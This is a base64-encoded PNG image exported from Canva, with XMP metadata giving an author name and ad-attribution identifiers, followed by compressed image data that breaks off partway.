"iVBORw0KGgoAAAANSUhEUgAAAfQAAAH0CAYAAADL1t+KAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAM3RFWHRDb21tZW50AHhyOmQ6REFGUFpvQVNOVlk6NCxqOjM4MzQ0MzY5MzIwLHQ6MjIxMDE4MTSpwQ2XAAAD+mlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEvJz4KICAgICAgICA8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKICAgICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0nJwogICAgICAgIHhtbG5zOkF0dHJpYj0naHR0cDovL25zLmF0dHJpYnV0aW9uLmNvbS9hZHMvMS4wLyc+CiAgICAgICAgPEF0dHJpYjpBZHM+CiAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgPHJkZjpsaSByZGY6cGFyc2VUeXBlPSdSZXNvdXJjZSc+CiAgICAgICAgPEF0dHJpYjpDcmVhdGVkPjIwMjItMTAtMTg8L0F0dHJpYjpDcmVhdGVkPgogICAgICAgIDxBdHRyaWI6RXh0SWQ+M2ZhYWI4OTktYTNmZi00MDg2LTljN2QtZTc4Mjg1ZWUxNDU4PC9BdHRyaWI6RXh0SWQ+CiAgICAgICAgPEF0dHJpYjpGYklkPjUyNTI2NTkxNDE3OTU4MDwvQXR0cmliOkZiSWQ+CiAgICAgICAgPEF0dHJpYjpUb3VjaFR5cGU+MjwvQXR0cmliOlRvdWNoVHlwZT4KICAgICAgICA8L3JkZjpsaT4KICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgPC9BdHRyaWI6QWRzPgogICAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgoKICAgICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0nJwogICAgICAgIHhtbG5zOnBkZj0naHR0cDovL25zLmFkb2JlLmNvbS9wZGYvMS4zLyc+CiAgICAgICAgPHBkZjpBdXRob3I+UGFpZ2UgSmVua2luczwvcGRmOkF1dGhvcj4KICAgICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KCiAgICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9JycKICAgICAgICB4bWxuczp4bXA9J2h0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8nPgogICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+Q2FudmE8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgICAgICA8L3JkZjpSREY+CiAgICAgICAgPC94OnhtcG1ldGE+UFDffQAA6l9JREFUeJzsnXmcXFWZ97/PuVVdvSXppLfsARKytbIHBVH2LQgi0NEZHV+UTUecQV/fcXRGU+jo6IzOjKO4kNFBR1y6QRYRFEFgHEVJgAFNCGEJIQvZ00l6qe3e5/3j3urusIROd1V3V9Xz/Xya0F1V95576pzzO+c5z3kewTAMwzCMkkfGugCGYRiGYYwcE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDMAzDKANM0A3DMAyjDDBBNwzDMIwywATdMAzDMMoAE3TDGALt7R0CaGZvd43v5U4QkXmgWWBNLJF58uijd+YAksnkmJaz8lAB0Xece2ND4PEWYJoKu1H36F13X7mhvb1DOjuX6ViX0jBGAxN0wzgIyWSSn/70nTJrxiOTPdFrFa4GpikqguSF4jGFj8+cves3U6emAxP10SGZTMqWu6bJS83yBYQPA7WEY5oCgcIDwOfuuvuq3yST10symTRhN8oaE3TDeA2SySSquMcfnV2jQe4+4M2Ar6iTSDdUARFfoNcLOOGBh5c9u3dvgwlHkWlv76Cvp8sTuAs4m3AscyiKDBZ19ZzKBxL13Te1te3DRN0oZ9xYF8AwxisPPniqPP7I9Ika5B4ClhCKhCeIAAISAh5Q7zvuP/UtP2lub++wflVEkskkEybsF4ErgHMJx7FwcSL9ixQhnHgFCl/r66n/ePhn03OjfLGBxzBehdNOS8rE+rUNKtwBHMPB+0ok8MxU5M/uued8NbN7UZGdOzPVwMeAIP+3V3mbgApCjcD1jz4y/e3t7Z20t3eMYlENY/QwQTeMl9He3iE1NY1o4H0OeBsD/eT1tqgCRc9/+9vv0rVrF9h2VpFYu3aBC3KxM4EjCa0jB6lrCU3xUA38JNPbtTD6jGGUHSbohvEynAvwqH4H8H7CFWB+BX4wJPyPLPB9z/m+Z7bdIrFly3QV9C0MOMANlUSgfLOvp0suueRWm3AZZYcJumH0o1x66S2ud//ew0T0JsJV3dAHfkWAien0/rrOznYTjKKgTJjwJwWmRb8OldD8Dm8T9G+DoNvZtohRbpigG0bERz7yNaZP36Ig1yvURQIwdGEOHbJqJZudWLRCGhKLVTugKfztkE/qCMhyP5M+6Wc/e7tNuoyywgTdMCK2bp3qNjxffRnw3tBzXQ55wFc0AW5CMnl9EUponHXWfWjGdwqTDv3T+e9TBUgeMeWx2NFH/6+JulE2mKAbBqEjXKp3T1yVTwP+sC4Smn81yJuDjYJzyim/JfDUCdQwvDNogooHnJ6O64eOPPIZE3SjbDBBNwygq6sBVP4SWMTrek6/BhJagEVoefHFWSYUReDFF2fhVGKE/g3DQ8KJgCIfz/TuaV6+fLl9V0ZZYIJuVDwf/ei/SHXV+jmKfgXwhh98JFqiC437908oWPmMAfbvnyAKMSAxgssIIIrOCODyffuGYb03jHGICbpR0SSTSTZunKWoXEO/kh/63nn0OQA0MJN7MRHtF/QRHQ2U0KPu08+tq5tr0f2McsAasVHR7NzZKH19exuBywclWxku4Vl00Wn79282M24R6OnZjoZbIvERXip/gqFWlWvuvPMii+5nlDwm6EYFoyQS+0WC4O+BFoa7dz7ogqoKIlMmTJgxPMc646AsWbJDETxVrSrA5QQIVGk/99ybBuLBG0aJYoJuVCznn3+PPP1UU7MI7dGfRrxCFxFBmdzTs30Ee/HGa3H99derBkEcIU5hBNgTkVmacx974YU5JuhGSWOCblQsmzfPAHirqrYytPCuQ0JVG+K+G+lq33hVFE/dJEEKJegKiKr+7a7t6YajjnrCvjOjZDFBNyqWBQueVoFPhBlQCyi+Io1ZLxb75Cf/sWCXNAZQ0UlArEAWEAFURBpQb8mCBU+bWcUoWUzQjYrkqqtudH29XW8FjqfA/UAg4VTjVVXpQl7WAJLJ60VV6lXxCjcHU4eiiL6vrW2NmHOcUaqYoBsVR3t7B11dDYFTLivC5RXwBKrT6eHHPjFeG3HaLFJIBwXJx4S/cNXK6c033niVmd2NksQE3ag4Zs7cJDNnbkLhDAbSoxYSD5HEc8/NNWEoMM89dwSKzCjCpR1QL6rve9e7fmLfm1GSmKAbFcf//M8pPLuuvg2YjxalD8RUtaYI1614UqlqgFYKf4RAwx+5aN3TtbElSx4xUTdKDhN0o+I4//x7UPgrIDaM9JtDwRMn1Tt2rDFRKAKqFGOFnv+uFgrScP759xThFoZRXEzQjYqivb1DHls5fZIo76J4x8qcKonTTiMo0vUrlnXr+hDRfGjdQn9/AkwWOOnhh08q8KUNo/iYoBuVhojoAmAixYn8IoQe2JOSyeVqwWUKiXLUUdsFZArRcbMC3yA8vqjyFyef/NsCX9owio8JulFBKJ2d7YEqx6GFCyTz8nsgOKCp8NeueKR7x4RaoFlDKS+GhcUhnPf4IzOnJJNJ2zIxSorYWBfAMEaLK674DoBsf0lPBclRlPYvoqgi0pRMXi+A2rHmwrB8eVJWrZpRJ8oUKY7vQ546FT1648aZD2ImFqOEsBW6UTF85ztXsHWrAHIyIMUaqwVRUZ21evViVq9eXJR7jAzluuv+ldNP/xzLly8HlGQyyfvel+Syy37MBRfcNdYFfFWCwEMCaRDwii6zokfPmrUpsCAzRilhgm5UDOeff4+TQI8CpgGuaD5xCooWwxN7RCSTSTnttGS+z8ugn1f8ftppSfnwh5PjanxYu3ahiNOWKPp6sW4jCgEqS154YQ6WsMUoJczkblQMRxzxvG5cX3WqjjxN6sEJo5jN7ulZU7RbDB3l7LN/JbW1vfLII9tjE2p15oVLVxzx3Lq6Y+tq6hY9tpLWC5euaHj0kek9QA/sfx72PjGhdvofX1ivL55//t277733HI499nFdtWrJWD8MKC1h/YpSpO8wMt0srKvrCe9oGCWCCbpRMWzYMAd46c2gRTp+3o8IMrW+fpG3ePFTubvvLuatDs7FF98umcxm52er3u7BJxUWCtQRhqcdyNmel0dVkdCpLy3K/hibbrnggv/8zJYtx+xsb+9wnZ3LxvIonq+qTQhF3kJHFJ27eXPdhNtvv7wbrjVRN0qCcWVSM4xicfXV3xZPt1QLLBAtnr02wgGtffv3TVq9evGYmGzf//7vSiyWlVxm57s9qv5b4BbgREEmMGChiPX/SP+/XlTgKhGaEK7RnK6f1vL4N1M9exYuX75c2ts7xuCZlM7OdkRkepHFHFARpN5PZ46/+uobzeRulAy2Qjcqgn37JooG+2qAKRQ0scdrUq+e3zx37nN7GEWzbTKZZM2aRW7X1r0t55/zn99X9GxFcgJetAwfwiQ+n05WFFRAaoFrQP581crpV9VU77wDNEolNzp6F2ZZU31s5YyZqqpRytsiIeEZd3EnTZ6866Hi3ccwCout0I2K4Pnnj1AVahEmM1oqFLh5o5ugJZw3pHr2naLCwwqnS6jI0Yr8kEUw/5n8OFHvkB+lUt43AD7xiS+N2rM999wRPP/8XICpIlJ8s78C6Clf+tInzNxulAwm6EZFsHTpPYoyDail6ILerwFzU6nVxb3Vy3j0kelnBRr8FJgjEIsetRDPG0VRQwS5/MKlK+5e/cfGhnC+UHzNS6Wq84lZpjM6Fg8B5l1wwbdrzjjjfjO7GyWBCbpREaxZs0gQWRiGZS36Ieb8v4fDnGA09Ke9vcO76PwbTwHuARlshSikGOW3rwU4S9AVjN52gi5evMYBLYoWX2BFVVUbJYhNaGraaYJulAQm6EZFoKEGzIuOPI3KAC3oPAmy8hd/8V9Fvd/HPvYVye7fPVGF/wCcFFfw8mfVY8AlFy5d8eVL3vE9r9iOctXVKXn00amzgWYZkh/ASBFEJA7BhMbGXcW/nWEUABN0oyKYNWsjoAs02hwt8u0ENACmBuq8yFRcFNrbO3hmzYS471wnyDzCgDmjtaJUlA/m/NTCxx47rqg3am3dJgRyLKE/wGgRF6G+pqbP9tGNksAE3agI/uVfPqYgRxQvKcvLEYBWQYsoQMr69YeLiJ4NnErYn0dLfMJ6FGo1cL9atOihScVMZrJhwxwEObVY138V8laI+rDtGMb4x46tGRWAcvHFN8X8DFOLetrpQASYgqOlr69m48HfqlxyyU/lpz+9RI877jGZO/c5AYjHs6xe3abz56/TtrY1kkwmDxCW5uYdMrvp8URW5NPhPoIyiqtzGEhhOk0C/1Lgu8lkkgPjnyvvfOdtcttt79RPfeoL8swzR/aXb/Hi1XrTTe+npqaPtWsXHUQ0lSBY4VA9EZFRmpAB4BQa8mUYvdsaxvCwFmqUPTU1vXL22T+aoDl/vaINo7MHiyqqDnfp0ce/dMfnPveZVwhWe3sHt9xymVx66Y8l1dvjRLQWX47GYzEaOFXpQtwq0WCDE81NaY0zceK+4Ktf/WtAaG/v8FK9ey5D5UeMXV9WwAd9NJaoOQnque22SzQez/B3f/cF6e2NyZo/NTvQOg85LoB5KJ462euCYKWKexFHtqk5Jt3d9UFn57JX3ODTn/6sPPloa4OvPCvI5GKH+et/LgUcVx6/ZMt/AmqJWozxjpncjbLnE5/4JyHj1wK1o6MFIYKgBBevXbvwFTfNm6cvuODbE9M93Z8S1d+hvIjTh1D9BipfB24WgjUIzwTIHbu2Z88G5JJLfuqSyaSkerrQgL8gFNWxMgsL4IEcl8ukTurrq+mPJPf4yqnTnvpTy3JBHkZlQ4D8WuFbiNwgys0qbg2wjoDOnVtzZwDyamb7tWsXiq8yVZBqREfpOVVUgEAnR0laRue2hjECbIVulD3t7R1eqrvrMIRnGV3baQC84EnVomOWvJDJr/Da2zsknd7nBTn/HEG+A7RG743iwOQt2TL4Oh6gqP5I4RM19ZNfSvV01QCrgRmMrrPYy1HCmHI3zZy698oXN9cknEucCcG3RWQa+Wc7IIR++HyqBFHseF/RHwjyyeq6hu1AtFoP9fvCpSvOQrkHKXJinQMfSxH5u3nzu78I6L/+68dG57aGMUxsD90oe+bOfU7XPDmFQGEU99AhFJ7Dc2RmABuAoL29Q7J9fQRB8Hngr4F49F4Xvv9Vj497iqqEgduWCZzb17P3XAlwOKaBFi8V7NAQhEDglE3b6mud5/5B0GsH9vM19LyXAz8CIBJNVMAT5L0Kp6a7952ZqJ+4AQg+8YkvAciaP045bpRM7f0o+KI0PPFEz2je1jCGjZncjbLniSfqJFCpESl6UpaXE3qpKQsefPBUQHGuy/P99GcErgPiaF7IDy5WMuDs5qkyRdAf4HQZobl7vFjaGkW9rwF/Rb+1YUghZ/OvxwTmqAT3p3r3zLzyyhWyZ89k9uyZjKJnvuy9RSc/f2hsXEBj44LRuq1hDBsTdKPsqa+fCqKxUTqDPpi8+By3adPMoK6uR3r3cwFCEogNIwtotKxVUdUFIB9ndI+qHQwHTAYul/5ws4c00cjvMzhgFiqd217S+K9/fYZs3+ZPEuQEbIvQMA6KCbpREQiio2yxDVFywJuPPfZxzjjjh3Hgi4R5yId7/EokjGImkR/2eDlP1Z9RnRE8W/R5DzgRuPbYYx+XIBt7E4xiUh3DKFFM0I2KQKCH4QvN8G8bOnydkN2/qwafjwALoECOXTLqz3MwChU7Pv95H+X9XTufReHsEV5zJIwH64dhDAkTdKMiGKtdZkUd0JoTeQtwuaJjecSsVIhSturiRF3zW4AljE2dOVT3jsF9DWNYmKAbZU9b2xoNlB4gM9r3FiQK3yYfJUz9Gf7ZeD0EBAn048CRjM3WgiCSaWraSVPTzlG+tWEcOiboRtmTTC7XQF0v0MtYrY5FlgKTRylKXbnggIuAqYzyOXuN2okKO2tre6mt7R3N2xvGsLBz6EYFIFqb/fb+VJXsBSaO9s2BMPSKvDJijHFQ8pOvUa+36EYBAdu/8pX/G5Xj46N1e8MYFrZaMCqCnqqZCrwQ7WGPPlIwp7FKYrDT32jXmwK+oLs5IOCPYYxfTNCNiuCEE1Yh8KSomEuaMVSyKuz7zGc+O9blMIwhYYJuVAS7d09B0SeRKGeKYRwUBSUjQtdTTy2y5blREpigGxXB179+rSLyBJDD1ujG6yKCsBVHV2dnezDWpTGMoWCCblQEy5cnBdWNQNdYl8UY9+SjBD989NHbU7Z/bpQKJuhGRbBlywwQtw94aazLYox7wm0Z5cfbtrWamhslgwm6URGsWHG1VtdO6gV9ABDVMfJ2N8Y9ivrA9rvvveK+rq4GM7cbJYMJulExPP30AlHcfwC5Uc6LbpQMqlHwn1995CNf0xkzNltDMUoGE3SjYnjzm3+v02cGq4EOhQBzjjMORKP9cgX+c9KkLvdv//ZRayNGyWCCblQMN954Nbt3T3GIfCGMFGKJUox+8tFeA4GvxmI1/0046TOMksHMSUYFonLh0hvfDvJDhVoZ/bSqxvhCI8f2QOAPwDnHn/hSbzKZtMmeUVKMasIDwxgPJJMie/fNXJfLpD3gbYSpOhm7JKvG2JF3jhRf4DnxvfMS9RP3feMb15qYGyWHCbpRcTz44IMsXrxMckH6YVVeEjgnEnOHJU+pIDTaM5dA0Y2i7uz9qc1be3t3Bi+88OBYF84wDhkbuIyKpb29Q7LZXgnSmXYVvgTM6s+JZn2jjFEI89Qr4FBuDlzu6nR6f+q++z5h++ZGyWJOcWWKdoAmEX2AmP6SmN6J0+1jXarxRWfnMm1r2xQ89expHYHIiQor1Xzkyp5BEQh6Ffmzn91z9XuPP35H6pRT+kzMX4beBPoLnP6KmN5PTJOIdox1qYzXwlYhZYgqwj2Q6m6apOpOcp5MVGSd9mWerHnvbt92ikPOOeeX8sILh3HqpIfc1iY5NkCPdaKXg5yMmd7LGQX2A99S9GEvcA8nJk7cXlWV4Qc/eK/a1x6iSSSoqSJzxJQ3iugiVLtV9Q/VuR27mA1yis1+xxvWcssM/TKSPaylRgO5MhD+TqA5eslHuRX0rxPt27cDWqnC3t7eAeD6uruaRbgI+BiwkP4jbOYgVyHkBakbuFPhhiqVVbPm9+S++tW/rlhhVwW+gGTmtTQFjq8C7YJ4AAq7RfiC+sGK6qd2dAMqybEsrTEYM7mXEdqB65rbkAiUn6nwZYGmQS97CJcgcgsVffZaBSDV03U26B9U9VvA/AMMsSbmFYbWA+8SuD+L/vj5Z2pqxrpEY86nUHXSIXBZGDlP82F3JqP8kzj5OYtn1mIaMq6wL6NM0PsRArQmm7gZOBWIMfD95gUqBpyc6mz5PD+vxOVHmEIr1dP1CeBuEZk1cAZd8mfRK7BeKpb8dw9h30ggXAzymwvPW7EgnPxV4Nz3tjqXvqX108DbQGLk+4cgCqKKUzg5LZnbU4tb45oc4/Ia/djgVQZoB2S6J8V0Ys2/o3o14KmqyisDlquGo9R+FTmy+vmtu+RvKiMaVnt7B8+ua3QzZj73KVGuZ6DtWx8w8uT9JnLA0wInJuoaejs7l41xsUYPvQWXprVeVVcJMldRkZdZrAaNLT7KTc6lPxQPurJSOdU0brEVeomjSWAPohOqL9IguJroLPWriDkM2JITojqdxlEr5pgzbdpLMn3GsyeJ8reD/mxibgxmsCVrscKvMr1d9cuXL6+cdtKIokwSpBHQl4s5QDS2KOBU9IqAxHvpQ2ylPvaYoJc6i5H0lOapwL8M0vDXG4A8oE6uqJjVuax/trbeId8FqkEdJubGa5M/o77EVzlvzZo2jRwpyx45HQWqFRIcvI9IuKcuPspnU7Wt0znP+tRYY4JewmgSSbtmB+6bwGzAQ1+3U4miTpBJo1DEccG9956DEixTdD4D0eAM47UI99YVJ+j1Y12Y0UQVnGg9qnFeb9IbhmDyFGYAP+7d0hTX1x9/jCJigl7KzATUvRk4k7xIDaU7qbgArVM90Le7HLnyyhXS3t6pIBcL+Aw4wBnGwRBEHbAo1b333MbGXRUzVvrqJopIfKjTXgEV5QQv8M7lm6FPjzE2VEwjLTf0ASTTOKUG+B4w9OMjioReLtLAs8CzRSzkOOA//uNK3bDB8wSOMyu7cUho1F5Ez9u0yQUVYdhJIk5oJb/+HgKqOIQqlC9nmlqri1o+46CYoJcgqoQ7wTnvvcBcQqUa2mgj+UsEU7gZ4QfFKuX44Lrr/k2qY8E8wgA71t6NoRNJmqJtquJdd92/lf+McB6oaiOHMHsRQcNFOkeq048grvzraZxiA1wpsgrh+VlxcH8J+Dp0Y3seFaSRxUBbMQo4fti8eYaA3wLEKmKFZRSaAGSCKO6ZZxJjXZbiEz5i8yHuxkmU0yhA5f1B30xPO8wcNhaYoJci65F0PPtnCm8EnAzZONaPAlOKULJxiqMS/AWMYqAqYUY2enq2l79INSMCjajqoTysRAFngPmZ6r73YftbY4IJeomhHUhKW+tV9FMj6DEKTCILZAtVsvFJS8t21AV9iOqrH803jIMhHtArTrWtran8p4QvgiKNInLIyYn6Fxbi/intpjbYKn30MUEvITQJnADicYzAYTqyUKWTCKDcT6LfcMOHg5o0TwmyD7O5G4eEanQi/QXxYv4NN3y4/NvPehS06RAX6HkU1fwK/1SeMavYaGOCXkrMB34PKFer4g1XnjTsZZN5Di13L/eLL75dsvUtPcBTlP30xSgs+TDv8t/HHbdRKsKKvBwFGhnew+YDy/movpvFwO2FLJzxepiglxIxJBufOgu4WIRhW5Cj0I0NnDbHkzIPm3HMMU/o7353sgD3EYb0tDWDMQTCRD4ouwW5iwpoN6rA7TPiQNMIQjUIiqjI+Wm/dQbZSpgFjR9M0EsEVeApER+9BNVaRmBu1/CA7eSgq6eq3CM7JZNJPvShb0gg+l+KZhkI62kYB0MBFccNLtG4c/XqxZXQZmS/apWqNjESc0S4Tq9T5QM8Y0fYRhMT9FLhbiSzqBmBpYjoyCRJBJiU8hNln/e5vb1D1qxpY8mSl54R5GrAr4SR2RgpArBFffnmvn0ToRLGym8iiSBbLyK1BVBhEXhHZn5TtTnHjR7l30jLhZXgAk0Ab0BVhx7H6ZVEUWhiMc02cX05djbl4otvk6VLf+76uncn+nq7Fj+6ctq7gROAbBk+sFFowlnfPkTfV1P97Ft7e/a0XHDBza6xcafMn//0GBeuSGRBcQ2MXBeE0F/lMFWaWD3yohlDwwS9VFiM+DE5FWgFGfH3JgCBNLOw/AT90ktvdaS6xLFlGcijoqxE5Wbgg0DZWyWMAhD2ikUIX3TIfQ5Z57TnOyeffGsLQHt7R/mNndMQAp0cOveP2I7lgMmKvLn8RpjxS/k1yvJFVeUqjSJdFIhWyijn2nve8wM54ojnJN236z2+ZFYJ+gMRWQTkM0d5UYBuG2KM10MYGB89lDrgffiybsG8h1b09XTN/cxnrpf29o7yaUvNiCJTENERGADzCBAItHNqAcpmDAkT9BJANyB9Mm0SsFQK+J2paCteoa42liiXXHKr27+np7Vt4f23CfJ9RN7I4AG5X8RHe/zVEf6UI/mwfSVRLwI4Fc0LfD1whcBvH3t06pmp3v3xsvmuulARGsLvZ2QPpGGFOITzevZMm6gbbBI9GpiglwJ/QIRgLkq1hkvMkXYOicK/N/M7/JEX8NBQRfRneNrzyufQDtAO3NC978MnyfXtOl6Rh4ELCIejvIgXfCBRzd9XwzM6EiASoAQECrlAyPiOVDZGbyZBb6aaTC5B1k8QBPGD/mT9KtK58DN92TiZnMMPhEAVCHASIONa9HXQv4qI4iQAlCAQsr4jlYvRm02QylaT9asIgjhoDE8c7mU/2l8viQPqJZ1z5HwhCARFEfHD72FQvQx8TyNHBs5xueiSjSi/QP1/7H/LEFGN2virpBlVRfRuvDE5fXIxPtCk4QgzovtLOMYoUBcPgqNYVx5Lh/GOzZrGOflIS5lbWv5ckZsJnU0KMRFThf+o1tg1tG/W0YiKqh0IPkJuppeuycxBZTbKVKAOANE+kG2obAxc9oUatytDDpVlrz0qX3ZZp6R6dx0vuNuAGYNeKuATDdw+UEE1HN49CUjEfGqr0tRX9TK5Js3Emn00VO+noSbLhOpeahP7SMS7qYsHOJTaqtxra4xAX9YjG3h0Z2L0pJrY11fHjp5q9vQ2squ3jt29tfSka+jLxfEDB4SC6UTR4sxfhkg4uQnUEUT1E3c+9YksExLdNNb1Mbl2N8113Uyp7WNi7Q7qqvqojgXUxnJ4zqc6njmwalToyyZQhL6sR8b36M7E6U030Z2qoasvwZ5UDXv7prCnr5r9qVp6MwlSOQ9fw/j9ItGkgnz9wMjrKD9TiE6bCCsUrrvr7qvS/XPlV/tU6O0tfd6UuOdXzVbR2aCtqNRFCtinwlZENiZS8fUEG3NUh8GQZNkIi/x6TxSVOn1Lyz+C/G2BrqkioPBX1ZdtuyHMymYUk9hYF8B4HaLAL0GbHBMNQ4WyqojAjF4/LbVFXuZpsj+9q6bjrcs0llkuKouiV8MxMf+OKGGl09jGTK71H6pS3KS6LZMv8GDa2ztcqnfPQsGtJJzoFEDN8oVQnCiBQsb3yOQS1FflmDlxL4unbuIN057jyOYXaarfRnVVBnF9EDj8IIYfeAQaSZy6A4r1emPagOgoIusQCXBAzMvinI8SJ52pZkvXbJ58aRaPvngUq7e10NVXSyKWIe7lkPw6VRl+9KHXq6VILJ0ofiCkcnGEGNMn7uXYmetZMusZFrSuZVLNfmJVPagv+EE4CVEVgkH10l8nr1LUCdWvVi9PR6vxcFLleTnE+RBU05dJsKe3iae3H8aarbNZu20OG/dOojtdA2RIxHw85+MkdEbptyccUl3JQGnD/14l6P729s6/6ex8lbrqiN5ZP89luve/SwKSih7Zfy3RQSFSBVRJJ9IbkNbPJYJt34GwD0my+IKoKtMK1WREEFVFRI4mClBp6RSKi1XvOEfvCr+jdG/rz1T0XEEKNQlT4A+InprYuz0rVxR+sNBk+G+qrblWkKsIz4EvHLh9/8A4MFrnlz+KRHmWN6jyPYnxj4l3bs/kB4TW1q1y3HF318Qk9yDo8SgjiJ2nqArOBeR8h68xamMZZk/ezaLWTcxr3sCsyS/RVLePmqoePOcDQSgIKv1ik3+aYnSq/JowrLVQSEMh8Ehlq9nRM5kXds7kj1uO5E9bZ7N1/0QCAuLOZ6CK++t8uCXoJ+t7VHnK4VN2cMyM51k09XlmTN7ClJp9xLwcYf24SKjCOnKvvXgdEaGXqA6qG0BCQ5YGQipXQ1e6hl37W9iydzIb98zihd2NvLSvkb2patI5DySsq2E0ofxDCfDB+kn1Ny5YsE6TyWT/G1IdrQngWoSrgCMjXRv8uVe0/+hRVIXnHPo9H75Ws3r7PgAZuHTB0O+EDSQ1seXngpxHgRYOCr6gv0lM2H46IHKerdKLiQl6CaDfRlJTWtYKMhcKsxelio+wTtATEk3bU3J6YeOch6sScWlpmQ56I8h5r7L/f7D2N7B4Uu73VS+oW7Y9J4K2t3eQiG+L7e1K/DtwDSMdfBQQZVJ1igXNW3nTYWs4ZsY6JtftRCRLzo8TBC5KJxV5Hxx6MqoioP1HHgIVYs4n5mXJ+DU8vW0eDz1zHP+7eQ67eusIItEb0Kuhlj183vx9Yi5g2sS9vGnOM5w671FmTt6EkCPrx1HcOKqfgboBom2SAOcCYi4HeKSyCXZ1T2X97mbW75rLHX86ilwwrG0LBfVBtitydE3dpJ2dnaGNXDsgrS2z1fGEIPUc2H8P2v6jSVwgggN+q+j7qmXPBoJsUGgTvP4qFPR0V+tK4BgKZ731gfWJy7YdCbZCLzZmch/nqCJ9t06f4tSfrYoroDkMYBKIx5FFmTW7vqBxuvN4AOTwyNx2KKOlRIbQTIB+sO4toZjnX9zbVXU48B6AaHt02DXjXEBDdQ9f/4vPE8vEo5srOd+BJEI3Zxfe6IDijTkDrlqehPvXGT8BGrCgdR0LWp/GDzw2d83k3rUn8fsXFrC9ux6RHHEvh+eC/mobsDJEAo4SBB4ZP4ZqjJmTujht3p84ff7DNNXvxBGgCDnfIRKeCjxwBT7W9SMHiEd+ghGoR9YPzf5OfJonbqZpwiaWzH6au59qw9fYcDKECaHlbKqgHT0928+JBF55E+I9EmzJqbcS4SxVlSFaASSy+Lio75wkym/6ZMrSGrb9kUJvk+3Jz8RoLKRlPNxGl+n8cEqdvGd3T4Eua7wGJujjnW8hrilYCFRLYTuxKDpJ1Z/IDPYX6qKqwJeRjLQsEMdDwBTAi8T4UMYJ1XB18nDt3u3Pc8/AZ9Pp/R4qX0aoIzwaM2JEAurwSWkVzoVFHWtJOlT6R+Ho31C0AuZMeYEPnrKe9y2pZ+PeZp7bMYcNu1vZur+Rrr5q0rkacn64cPScTyKeYkp1L1Mn7ebwKVs5omkDsydvoyreh++He9/9E4BIdUpl5ZWftryivAUqv6qe7LmqEy+44OcP//zniswR1RU7A39Sy7dAzhpGnvFo6wkPkakS6P0ZaV2qn922ik9TOGfWdkjf2joJpUUKePopqumaTKzqDfpNVsqHLONhMTFBH+8sQIIdwVxxEkhhNUYEqXMaP4IutlCoycK/IJmZzTFFviuiDarqEHQ4Q76IeKC/YBHwFpSr4NJLb/EyfXuOU/RCCU/GFG5BIVoywjQUJNrfUHXkfKiK9XH4lE3MbdpA3GVxXmh6xq8ip3lBDxAvA5rD9+PkghhB4OEkwI9Ev5zqaICCNH8REU9V/09tXe/D7e2ddHYC8wgSO5ruTOnOTSDTRQ552yw8AqbqRKRB4buZBa3HVX1xW65QBefzSLBAFwuhj2yBp7MaSLCYhawq5EWNV2Ln0Mc7DQTOyeGh83fhFuhRXI8Ap6ewsjC9VxWYNsEFnnwFeBNIXERkmOu3vB/Y79iCJxJmTnvkkRN9CJZF15TCyIuOvYW4iIgM/OTN7Fm/inSmllQmQdoX/CDADwIyOUilw9dyfhxBws8MuobxmoSO98i7+/btbm5rWxPW1nqge40vIr8edsrjcLIghIuwxeq4mdmTvIINCScigpwiUIgoca9AROaz3hziio0J+njnDlRhpjISL+5XIhKebgrQk+l67fdpB6IK+jkkCobh9PPR316eRelnSCpec6SIvJcDPXaHVURV9rtc8CfaQzPdI48skTe+8Y+AnIxojoLJcOmZ10dKXpydHCj4L/+bMSwmOOeWPvLIkrAG3w+8H1WC36mqx8j6Rf6z70xVVZ/EbeEeO0QBa34W9c3PDuqv/xy+56BZz6a3qMAp0UmKwn3z2l/gw3m/mduLjQn6eOfEeSIwtQhjqwJOkJP3MfNV86JrB2Hkkjsb49nFzUenpbU9Retl2YVTj+POxipAo/eEZEHggwoTOPA4znAIRFhZtbl7b1RW7r57qTq3qQZ4AwVIUDOYuvioB8wzyhgVTs/ltmr/yYJOHLhn8i+P4NKSF1xBr0RRfhq90hn21647GuLZtqlHpaT1sjStyzJzmo+hs/mV/TVfGEVSa6QGOLng7hCCRJbFGeWZ2XF8YYI+jlGFvp4eBzQU4fLhTB6mJCR3GLcOtAXtwGkS0tJ6ZprWn6Qz3oYgcI8BPxLhx0GgK9OZ2Ia0tN6SltZzNAnasdhL+y1NwOUy0qN1A3Gkn2BRqt8ucdVVKxwBxxNGlivo4NCXs65gFIT8gf/51bEgftVVK8J2Woegsr0/gNLIbiCAB/LOtLRMo2aeF/XXM9Kplh/VZBPrg0AfF/gxwg9V3Kq0uBfT0vLTNFOXahL0R4PG/lsRh04F6nTEpXuV8ooI6FQWzbROVmSsgsc34jliWgQBg/Aoj4Qxwo8kiPasH8BlmRZPt7X+u8IvES5VlRY9YLNOUaUZuBi4O7249etZdlfh5DSQifnLD79gADhUnmHvwADT3V2PhElXRnb9VxBGOzOMAqFAgyped3d9+JeVqBDsCT0vC9J2BagjkIvS+/dVpdpa/hm4V5F2YOpgXY76bhPIRYjemW5r/c90vLkuypkAl6KKzADixdvllirfz7oCugEZr4IJ+j